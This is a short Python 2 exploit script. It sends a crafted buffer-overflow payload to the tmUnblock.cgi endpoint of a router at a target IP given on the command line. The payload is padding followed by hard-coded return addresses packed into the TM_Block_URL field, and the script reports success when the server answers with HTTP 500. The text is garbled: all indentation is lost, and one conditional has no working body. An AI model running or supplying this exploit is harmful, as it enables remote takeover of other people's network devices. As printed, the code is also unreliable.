|
import sys
import urllib2
try:
target = sys.argv[1]
except IndexError:
print "Usage: %s <target ip>" % sys.argv[0]
sys.exit(1)
url = target + '/cgi-bin/tmUnblock.cgi'
if '://' not in url:
post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="
post_data += "B" * 246
post_data += "\x81\x54\x4A\xF0"
post_data += "\x80\x31\xF6\x34"
post_data += "C" * 0x28
post_data += "D" * 4
post_data += "\x80\x34\x71\xB8"
post_data += "E" * 8
for i in range(0, 4):
post_data += "F" * 4
post_data += "G" * 4
post_data += "\x80\x34\x71\xB8"
post_data += "H" * (4-(3*(i/3)))
try:
req = urllib2.Request(url, post_data)
res = urllib2.urlopen(req)
except urllib2.HTTPError as e:
if e.code == 500:
print "OK"
else:
print "Received unexpected server response:", str(e)
except KeyboardInterrupt:
pass
|